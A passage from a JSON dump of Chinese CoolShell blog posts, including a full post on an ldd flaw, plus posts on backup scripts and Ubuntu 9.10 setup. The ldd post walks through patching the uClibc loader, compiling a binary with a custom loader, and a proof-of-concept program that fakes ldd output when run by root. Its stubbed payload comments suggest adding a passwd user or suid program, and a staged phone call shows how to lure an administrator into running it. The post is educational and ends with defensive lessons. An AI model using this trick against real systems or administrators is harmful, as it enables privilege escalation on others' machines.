href=\"https://coolshell.cn/articles/16910.html\">Linus：为何对象引用计数必须是原子的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9917.html\"><img alt=\"Alan Cox：大教堂、市集与市议会\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9917.html\">Alan Cox：大教堂、市集与市议会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8275.html\"><img alt=\"对九个超级程序员的采访\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8275.html\">对九个超级程序员的采访</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5107.html\"><img alt=\"10大经典错误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5107.html\">10大经典错误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1619.html\">Windows 7 的新粉丝 Linus Torvalds</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-27 ldd 的一个安全问题.html",
    "content": "<html><body><p>我们知道“ldd”这个命令主要是被程序员或是管理员用来查看可执行文件所依赖的动态链接库的。是的，这就是这个命令的用处。可是，这个命令比你想像的要危险得多，也许很多黑客通过ldd的安全问题来攻击你的服务器。其实，ldd的安全问题存在很长的时间了，但居然没有被官方文档所记录来下，这听上去更加难以理解了。怎么？是不是听起来有点不可思议？下面，让我为你细细道来。</p>\n<p>首先，我们先来了解一下，我们怎么来使用ldd的，请你看一下下面的几个命令：</p>\n<pre class=\"EnlighterJSRAW\">(1) $ ldd /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7eca000)\n        /lib/ld-linux.so.2 (0xb801e000)\n\n(2) $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7e30000)\n        /lib/ld-linux.so.2 (0xb7f84000)\n\n(3) $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep\n        linux-gate.so.1 =&gt;  (0xffffe000)\n        libc.so.6 =&gt; /lib/libc.so.6 (0xb7f7c000)\n        /lib/ld-linux.so.2 (0xb80d0000)</pre>\n<p>第(1)个命令，我们运行了 <code class=\"EnlighterJSRAW\">ldd</code> 于 <code class=\"EnlighterJSRAW\">/bin/grep</code>。我们可以看到命令的输出是我们想要的，那就是 <code class=\"EnlighterJSRAW\">/bin/grep</code> 所依赖的动态链接库。</p>\n<p>第(2)个命令设置了一个叫 LD_TRACE_LOADED_OBJECTS 的环境变量，然后就好像在运行命令 <code class=\"EnlighterJSRAW\">/bin/grep</code> (但其实并不是)。 其运行结果和ldd的输出是一样的！</p>\n<p>第(3)个命令也是设置了环境变量 LD_TRACE_LOADED_OBJECTS ，然后调用了动态链接库 <code class=\"EnlighterJSRAW\">ld-linux.so</code> 并把 <code class=\"EnlighterJSRAW\">/bin/grep</code> 作为参数传给它。我们发现，其输出结果还是和前面两个一样的。</p>\n<p><span id=\"more-1626\"></span></p>\n<h4>具体发生了什么？</h4>\n<p>对于第二个和第三个命令来说，好像是对 <code class=\"EnlighterJSRAW\">ldd</code> 的一个包装或是一个隐式调用。对于第二个和第三个命令来说， <code class=\"EnlighterJSRAW\">/bin/grep</code> 这个命令就根本没有被运行。这是一个GNU动态载入器的怪异的特性。如果其注意到环境变量LD_TRACE_LOADED_OBJECTS 被设置了，那么它就不会去执行那个可运行的程序，而去输出这个可执行程序所依赖的动态链接库 （在BSD 系统上的<code class=\"EnlighterJSRAW\">ldd</code> 是一个C 程序)。</p>\n<p>如果你使用的是Linux，那么，你可以去看看 <code class=\"EnlighterJSRAW\">ldd</code> 程序，你会发现这是一个 bash 的脚本。如果你仔细查看这个脚本的源码，你会发现，第二个命令和第三个命令的差别就在于 <code class=\"EnlighterJSRAW\">ld-linux.so</code> 装载器是否可以被<code class=\"EnlighterJSRAW\">ldd</code>所装载，如果不能，那就是第二个命令，如果而的话，那就是第三个命令。</p>\n<p>所以，如果我们可以让<code class=\"EnlighterJSRAW\">ld-linux.so</code> 装载器失效的话，或是让别的装载器来取代这个系统默认的动态链接库的话，那么我们就可以让 <code class=\"EnlighterJSRAW\">ldd</code>来载入并运行我们想要程序了——使用不同的载装器并且不处理LD_TRACE_LOADED_OBJECTS 环境变量，而是直接运行程序。</p>\n<p>例如，你可以创建一个具有恶意的程序，如： ~/app/bin/exec 并且使用他自己的装载器 ~/app/lib/loader.so。如果某人（比如超级用户root） 运行了 <code class=\"EnlighterJSRAW\">ldd /home/you/app/bin/exec</code> ，于是，他就玩完了。因为，那并不会列出所依赖的动态链接库，而是，直接执行你的那个恶意程序，这相当于，那个用户给了你他的授权。</p>\n<h4>编译一个新的装载器</h4>\n<p>下载 <a href=\"http://www.uclibc.org/\">uClibc</a> C库。这是一个相当漂亮的代码，并且可以非常容易地修改一下源代码，使其忽略LD_TRACE_LOADED_OBJECTS 检查。</p>\n<pre class=\"EnlighterJSRAW\">$ mkdir app\n$ cd app\napp$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'</pre>\n<p>解压这个包，并执行 <code class=\"EnlighterJSRAW\">make menuconfig</code>，选项你的平台架构（比如：i386），剩下的事情保持不变。</p>\n<pre class=\"EnlighterJSRAW\">$ bunzip2 &lt; uClibc-0.9.30.1.tar.bz2 | tar -vx\n$ rm -rf uClibc-0.9.30.1.tar.bz2\n$ cd uClibc-0.9.30.1\n$ make menuconfig</pre>\n<p>编辑 .config 并设置目标安装目录：到 <code class=\"EnlighterJSRAW\">/home/you/app/uclibc</code>，<br/>\n把下面两行</p>\n<pre class=\"EnlighterJSRAW\">\nRUNTIME_PREFIX=\"/usr/$(TARGET_ARCH)-linux-uclibc/\"\nDEVEL_PREFIX=\"/usr/$(TARGET_ARCH)-linux-uclibc/usr/\"</pre>\n<p>改成</p>\n<pre class=\"EnlighterJSRAW\">RUNTIME_PREFIX=\"/home/you/app/uclibc/\"\nDEVEL_PREFIX=\"/home/you/app/uclibc/usr/\"</pre>\n<p>现在你需要改动一下其源代码，让其忽略LD_TRACE_LOADED_OBJECTS 环境变量的检查。 下面是个这修改的diff，你需要修改的是 <code class=\"EnlighterJSRAW\">ldso/ldso/ldso.c</code> 文件。你可把下面的这个diff存成一个叫file的文件，然后运行这个命令：<code class=\"EnlighterJSRAW\">patch -p0 &lt; file</code>。如果你不这样做的话，那么，我们的黑客程序就无法工作，而我们的这个装载器还是会认为 <code class=\"EnlighterJSRAW\">ldd</code> 想列出动态链接库的文件列表。</p>\n<p>[patch]<br/>\n— ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300<br/>\n+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300<br/>\n@@ -404,9 +404,11 @@<br/>\n         }  #endif<br/>\n+    /*<br/>\n         if (_dl_getenv(\"LD_TRACE_LOADED_OBJECTS\", envp) != NULL) {<br/>\n                 trace_loaded_objects++;<br/>\n         }<br/>\n+    */<br/>\n   #ifndef __LDSO_LDD_SUPPORT__<br/>\n         if (trace_loaded_objects) {<br/>\n[/patch]</p>\n<p>下面让我们来编译并安装它。</p>\n<pre class=\"EnlighterJSRAW\">$ make -j 4\n$ make install</pre>\n<p>于是，我们的 uClibc 装载器就被安装了，并且libc 库指向了 /home/you/app/uclibc. 就这么简单，现在，我们需要做的就是把我们的uClibc的装载器 (app/lib/ld-uClibc.so.0)变成默认的。</p>\n<h4>小试 牛刀</h4>\n<p>首先，先让我们来创建一个测试程序，这人程序也就是输出些自己的东西，这样可以让我们看到我们的程序被执行了。我们把这个程序放在 <code class=\"EnlighterJSRAW\">app/bin/</code>下，叫“myapp.c”，下面是源代码</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n\nint main() {\n  if (getenv(\"LD_TRACE_LOADED_OBJECTS\")) {\n    printf(\"All your things are belong to me.\\n\");\n  }\n  else {\n    printf(\"Nothing.\\n\");\n  }\n  return 0;\n}</pre>\n<p>这是一个很简单的代码了，这段代码主要检查一下环境变量LD_TRACE_LOADED_OBJECTS 是否被设置了，如果是，那么恶意程序执行，如果没有，那么程序什么也不发生。</p>\n<p>下面是编译程序的命令，，大家可以看到，我们静态链接了一些函数库。我们并不想让LD_LIBRARY_PATH这个变量来发挥作用。</p>\n<pre class=\"EnlighterJSRAW\">$ L=/home/you/app/uclibc\n$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \\\n    -Wl,-rpath-link,$L/lib \\\n    -nostdlib \\\n    myapp.c -o myapp \\\n    $L/usr/lib/crt*.o \\\n    -L$L/usr/lib/ \\\n    -lc</pre>\n<p>下面是GCC的各个参数的解释：</p>\n<ul>\n<li><strong>-Wl,–dynamic-linker,$L/lib/ld-uClibc.so.0</strong> — 指定一个新的装载器。</li>\n<li><strong>-Wl,-rpath-link,$L/lib</strong> — 指定一个首要的动态装载器所在的目录，这个目录用于查找动态库。</li>\n<li><strong>-nostdlib</strong> — 不使用系统标准库。</li>\n<li><strong>myapp.c -o myapp</strong> — 编译myapp.c 成可执行文件 myapp,</li>\n<li><strong>$L/usr/lib/crt*.o</strong> — 静态链接runtime 代码</li>\n<li><strong>-L$L/usr/lib/</strong> — libc 的目录（静态链接）</li>\n<li><strong>-lc</strong> —  C 库</li>\n</ul>\n<p>现在让我们来运行一下我们的 <code class=\"EnlighterJSRAW\">myapp</code> （没有ldd，一切正常）</p>\n<pre class=\"EnlighterJSRAW\">app/bin$ ./myapp\nNothing.</pre>\n<p>LD_TRACE_LOADED_OBJECTS 没有设置，所以输出 “Nothing” 。</p>\n<p>现在，让我们来使用 <code class=\"EnlighterJSRAW\">ldd</code> 来看看这个程序的最大的影响力，让我们以root身份来干这个事。</p>\n<pre class=\"EnlighterJSRAW\">$ su\nPassword:\n# ldd ./myapp\nAll your things are belong to me.</pre>\n<p>哈哈，我们可以看到，ldd触发了我们的恶意代码。于是，我们偷了整个系统！</p>\n<h4>邪恶的程序</h4>\n<p>下面这个例子更为实际一些，如果没有<code class=\"EnlighterJSRAW\">ldd</code> ，那程序程序会报错 “error while loading shared libraries” ，这个错误信息会引诱你去去使用 <code class=\"EnlighterJSRAW\">ldd</code> 去做检查，如果你是root的话，那么就整个系统就玩完了。而当你可以了 <code class=\"EnlighterJSRAW\">ldd</code> 后，它会在干完坏事后，模仿正确的<code class=\"EnlighterJSRAW\">ldd</code>的输出，告诉你 <code class=\"EnlighterJSRAW\">libat.so.0</code> 不存在。</p>\n<p>下面的代码仅仅是向你展示了一下整个想法，代码还需加工和改善。</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;sys/types.h&gt;\n\n/*\nThis example pretends to have a fictitious library 'libat.so.0' missing.\nWhen someone with root permissions runs `ldd this_program`, it does\nsomething nasty in malicious() function.\n\nI haven't implemented anything malicious but have written down some ideas\nof what could be done.\n\nThis is, of course, a joke program. To make it look more real, you'd have\nto bump its size, add some more dependencies, simulate trying to open the\nmissing library, detect if ran under debugger or strace and do absolutely\nnothing suspicious, etc.\n*/\n\nvoid pretend_as_ldd()\n{\n    printf(\"\\tlinux-gate.so.1 =&gt;  (0xffffe000)\\n\");\n    printf(\"\\tlibat.so.0 =&gt; not found\\n\");\n    printf(\"\\tlibc.so.6 =&gt; /lib/libc.so.6 (0xb7ec3000)\\n\");\n    printf(\"\\t/lib/ld-linux.so.2 (0xb8017000)\\n\");\n}\n\nvoid malicious()\n{\n    if (geteuid() == 0) {\n        /* we are root ... */\n        printf(\"poof, all your box are belong to us\\n\");\n\n        /* silently add a new user to /etc/passwd, */\n        /* or create a suid=0 program that you can later execute, */\n        /* or do something really nasty */\n    }\n}\n\nint main(int argc, char **argv)\n{\n    if (getenv(\"LD_TRACE_LOADED_OBJECTS\")) {\n        malicious();\n        pretend_as_ldd();\n        return 0;\n    }\n\n    printf(\"%s: error while loading shared libraries: libat.so.0: \"\n           \"cannot open shared object file: No such file or directory\\n\",\n           argv[0]);\n    return 127;\n}</pre>\n<p> </p>\n<h4>邪恶的电话</h4>\n<p>事实上来说，上面的那段程序可能的影响更具破坏性，因为大多数的系统管理员可能并不知道不能使用 <code class=\"EnlighterJSRAW\">ldd</code> 去测试那些不熟悉的执行文件。下面是一段很可能会发现的对话，让我们看看我们的程序是如何更快地获得系统管理员的权限的。</p>\n<p>系统管理员的电话狂响……</p>\n<p>系统管理员： “同志你好，我是系统管理员，有什么可以帮你的？”</p>\n<p>黑客：“管理员同志你好。我有一个程序不能运行，总是报错，错误好像是说一个系统动态链接库有问题，你能不能帮我看看？”</p>\n<p>系统管理员：“没问题，你的那个程序在哪里？”</p>\n<p>黑客： “在我的home目录下，/home/hchen/app/bin/myapp”。</p>\n<p>系统管理员：“ OK，等一会儿”，黑客在电话这头可以听到一些键盘的敲击声。</p>\n<p>系统管理员：“好像是动态链接库的问题，你能告诉我你的程序具体需要什么样的动态链接库吗？”</p>\n<p>黑客说: “谢谢，应该没有别的嘛。”</p>\n<p>系统管理员：“嗯，查到了，说是没有了 <code class=\"EnlighterJSRAW\">libat.so.0</code>这是你自己的动态链接库吗？”</p>\n<p>黑客说：“哦，好像是的，你等一下，我看看……” 黑客在那头露出了邪恶的笑，并且，讯速地输入了下面的命令：</p>\n<p style=\"padding-left: 30px;\"><code class=\"EnlighterJSRAW\">mv ~/.hidden/working_app ~/app/bin/myapp</code><br/>\n<code class=\"EnlighterJSRAW\">mv ~/.hidden/libat.so.o ~/app/bin/</code></p>\n<p>黑客说：“哦，对了，的确是我的不对，我忘了把这个链接库拷过来了，现在应该可以了，谢谢你啊，真是不好意思，麻烦你了”</p>\n<p>系统管理员： “没事就行了，下次注意啊！”（然后系统管理心里暗骂，TMD，又一个白痴用户！……）</p>\n<p><strong>教训一：千万不要使用 <code class=\"EnlighterJSRAW\">ldd</code> 去测试你不知道的文件！<br/>\n教训二：千万不要相信陌生人！</strong></p>\n<p>文章：<a href=\"http://www.catonmat.net/blog/ldd-arbitrary-code-execution/\" target=\"_blank\">来源</a>（以上文章并非完全翻译，我做过一些修改，所以，如果你要转载，请注明作者和出处）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22320.html\"><img alt=\"eBPF 介绍\" height=\"150\" src=\"../wp-content/uploads/2022/12/eBPF-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22320.html\">eBPF 介绍</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18654.html\"><img alt=\"记一次Kubernetes/Docker网络排障\" height=\"150\" src=\"../wp-content/uploads/2018/12/docker-networking-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18654.html\">记一次Kubernetes/Docker网络排障</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1626.html\">ldd 的一个安全问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-30 文件备份的几个简单命令.html",
    "content": "<html><body><p>我们知道，备份文件是一件很重要的事情，我在《<a href=\"https://coolshell.cn/articles/222.html\" rel=\"bookmark\">优秀程序员的十个习惯</a>》一文向大家说明了备份文件应该是程序员最基本的一个习惯。本文主要是向大家介绍一些在备份文件和数据时能用得到的一些示例，当然，这些示例主要是通过一些命令行或是脚本来实现的。这就是用命令行和脚本的优势，你可以实现比较灵活和自动的定制。</p>\n<p>本文中的脚本和示例都是主要是通过zip, tar, ftp, wget和shell脚本来完成。在Linux下，你可以什么也不用安装任何程序，但在Windows下，你需要安装zip 和wget这三个命令（在本文的最后有这三个命令的链接，你可以去下载）</p>\n<h4>几个小脚本</h4>\n<p><strong>1）首先，我们来看一下，如何给某目录打个zip包。</strong></p>\n<p><strong>Windows</strong>:</p>\n<p><code class=\"EnlighterJSRAW\"> zip -r backup.zip \"c:\\yourfolder\"</code></p>\n<p><strong>Linux</strong>: (打包自己的home目录)</p>\n<p><code class=\"EnlighterJSRAW\">tar -czvf ~/backup.tgz --exclude backup.tgz ~/</code></p>\n<p><span id=\"more-1640\"></span><br/>\n<strong>2）接下来，我们再来看一下，创建一个带有时间文件名的压缩包，并上传到远程主机的一个例子。</strong></p>\n<p> <strong>Windows</strong></p>\n<pre class=\"EnlighterJSRAW\">\n  :: cmd 脚本\n  :: 压缩包文件格式`backup-mm-dd-yyyy.zip'\n  :: 注意：%dir% 被引号括起是怕目录名中有空格\n\n  @echo off\n\n  set host=ftp.yourhost.com\n  set user=username\n  set pass=password\n  set file=backup-%date:~4,2%-%date:~7,2%-%date:~10%.zip\n  set dir=\"yourfolder\"\n\n  zip -r %file% %dir%\n\n  &gt;  script.ftp echo open %host%\n  &gt;&gt; script.ftp echo %user%\n  &gt;&gt; script.ftp echo %pass%\n  &gt;&gt; script.ftp echo bin\n  &gt;&gt; script.ftp echo put %file%\n  &gt;&gt; script.ftp echo bye\n\n  ftp.exe -d -s:script.ftp &gt; backup.log\n\n  del script.ftp\n</pre>\n<p><strong>Linux</strong></p>\n<pre class=\"EnlighterJSRAW\">\n  #!/bin/bash\n\n  host=\"ftp.yoursite.com\"\n  user=\"username\"\n  pass=\"password\"\n  file=\"backup-$(date '+%m-%d-%Y').tgz\"\n  dir=\"$HOME\"\n\n  tar -cvzf $file $dir\n\n  ftp -vin &lt;ftp.log\n  open $host\n  user $user $pass\n  bin\n  put $file\n  close\n  bye\n  EOF\n</pre>\n<p><strong>3）最后，我们来看一看，通过wget命令来下载备份好的压缩包。</strong></p>\n<p><strong>Windows</strong></p>\n<pre class=\"EnlighterJSRAW\">\n  :: cmd 脚本\n  :: 注意： '^' 是一个命令的换行符\n\n  set host=\"ftp://ftp.your.host.com\"\n  set user=\"flintstone\"\n  set pass=\"yabbadabbadoo\"\n\n  wget %host% --ftp-user=%user% --ftp-password=%pass% ^ \n      --mirror --output-file=backup.log --passive-ftp\n</pre>\n<p><strong>Linux</strong></p>\n<pre class=\"EnlighterJSRAW\">\n  #!/bin/sh\n  # 注意 '\\' 是命令的换行符\n  \n  host=\"ftp://ftp.your.host.com\"\n  user=\"username\"\n  pass=\"password\"\n\n  wget $host --ftp-user=$user --ftp-password=$pass \\\n  --mirror --output-file=backup.log --passive-ftp\n</pre>\n<h4>相关工具</h4>\n<ul>\n<li>Info-Zip: <a href=\"http://www.info-zip.org/\">http://www.info-zip.org/</a></li>\n<li>GNU Tar: <a href=\"http://www.gnu.org/software/tar/\">http://www.gnu.org/software/tar/</a></li>\n<li>GNU Wget: <a href=\"http://www.gnu.org/software/wget/\">http://www.gnu.org/software/wget/</a></li>\n</ul>\n<h4>几点注意</h4>\n<p>上面的那几个命令比较简单，只是表明一些备份的脚本思路。在实际过程当中，基本上也是这样，下面是几点注意。</p>\n<p>1）给备份文件打包压缩这是第一步，你可以选用其它的压缩程序。如bzip。<br/>\n2）文件名上有时间信息比较容易归档。有时候，文件包比较大，还需要对大文件进行分割（一般的压缩软件都支持文件分割）。<br/>\n3）使用wget和ftp可能会有用户名密码泄露的问题，使用ssh拷贝文件会比较好。<br/>\n4）源代码最好还是使用版本控制工具备份（比如Subversion或CVS）<br/>\n5）备份脚本可以放在计划任务（linux是corn）中以实际自动化。<br/>\n6）以上的方法一般说来比较适用于全部备份，而不是增量备份。</p>\n<p>（全文完）<a href=\"http://topcat.hypermart.net/backup.html\" target=\"_blank\"></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3136.html\"><img alt=\"chmod -x chmod的N种解法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7617.html\"><img alt=\"抄袭，腾讯 和 产品 \" height=\"150\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3540.html\"><img alt=\"一段Javascript的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3540.html\">一段Javascript的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1901.html\"><img alt=\"Visual Studio的Vim插件\" height=\"150\" src=\"../wp-content/uploads/2009/12/viemu-movie-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1901.html\">Visual Studio的Vim插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/179.html\"><img alt=\"OMG, Windows 7 来自未来\" height=\"150\" src=\"../wp-content/uploads/2009/03/windows_7_created_in_future2-300x179-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/179.html\">OMG, Windows 7 来自未来</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1640.html\">文件备份的几个简单命令</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-10-30 装完Ubuntu 9.10后要干的事.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright\" height=\"147\" src=\"../wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg\" title=\"Ubuntu 9.10\" width=\"160\"/>Ubuntu 9.10刚刚release，就有人在网上发表了贴子告诉大家在装完这个操作系统后，还需要去安装的一些开源免费软件，相当丰富。不过，这个贴子的链接被GFW干掉了，所以，你需要使用Tor的支持，或是使用Google Reader才能查看<a href=\"http://blog.thesilentnumber.me/2009/09/top-things-to-do-after-installing.html\" target=\"_blank\">源文</a>（<a href=\"http://feeds.feedburner.com/TheSilentNumber\" target=\"_blank\">RSS链接</a>）。而这个贴子非常长，所以我无法作全文翻译，不过这个贴子的内容具有很强的指导意义，所以我在这里为大家总结一下该文所提到的那些诸多的东西。（关于那些如何翻墙的事情怎么做我就不多说了，网上有很多相关的文章，你自己搜索一下就可以找到）</p>\n<h4>基本工作</h4>\n<p>1）第一件事自然是下载那些Ubuntu的镜像站点表，以及更新操作系统的一些补丁。“系统”-&gt;“管理”-&gt; “更新管理器”。</p>\n<p>2）第二件事是设置文件目录共享。就是在文件夹上点右键，在菜单中选“属性”，然后在对话框中选“共享”，那个对话框整得跟XP几乎一模一样。当然，这需要samba的支持。（sudo apt-get install samba）</p>\n<p>3）接下来是设置时间同步。通过NTP（Network Time Protocol）同步你的时间。通过点击“系统”-&gt;“管理”-&gt; “时间/日期”，然后选择“Keep synchronized with Internet servers”（和Internet服务器同步），于是你需要安装NTP协议。（sudo apt-get install ntp）</p>\n<p><span id=\"more-1644\"></span></p>\n<h4>　</h4>\n<h4>受限软件</h4>\n<p>1）DVD方面有一些受限的东西，所以，你可能需要安装libdvdcss，但首先你要安装libdvdread4。</p>\n<p style=\"PADDING-LEFT: 30px;\">sudo apt-get install libdvdread4<br/>\nsudo /usr/share/doc/libdvdread4/install-css.sh</p>\n<p>2）ubuntu-restricted-extras包中，包括了一堆Ubuntu不能合法使用的东西。比如：unrar，也就是解rar文件的程序，微软的Truetype字体，Sun JRE，还有一些受限代码，还有Adobe Flash Player，等等。这并不代表你不能安装，你可以通过“应用程序”-&gt;“Ubuntu软件中心”中安装。（sudo apt-get install ubuntu-restricted-extras）</p>\n<p>　</p>\n<h4>界面相关</h4>\n<p>1）<strong>GNOME Shell</strong>。关于这个无以言表的东西，你是无法拒绝的。（sudo apt-get install gnome-shell）</p>\n<p>2）<strong>高级桌面效果</strong>。这就是所谓的3D桌面了，效果相当的炫。通过<em>System -&gt; Preferences -&gt; Appearance</em>来设置。在对话框中，选Extra。然后你就自己玩吧。使用Simple CompizConfig Settings Manager更容易一些。（sudo apt-get install simple-ccsm）</p>\n<p>3）<strong>Basic Compositing</strong>。你是一个有图形界面狂燥症的人吗？如果的是话，你一定需要这个功能了（当然，硬件也得跟上）。按Alt+F2，然后运行gconf-editor，浏览Apps -》 metacity -&gt; general，然后，勾选compositing_manager……</p>\n<p>4）<strong>Extra样式</strong>。这就啥也不说了，太多的效果了了，多得都没法说。（sudo apt-get install arc-colors community-themes gdm-themes gnome-backgrounds gnome-colors gnome-themes gnome-themes-extras gnome-themes-more metacity-themes shiki-colors zgegblog-themes）</p>\n<p>5）<strong>Electric Sheep 屏保</strong>。这个屏保很炫啊。(sudo apt-get install electricsheep)</p>\n<p>　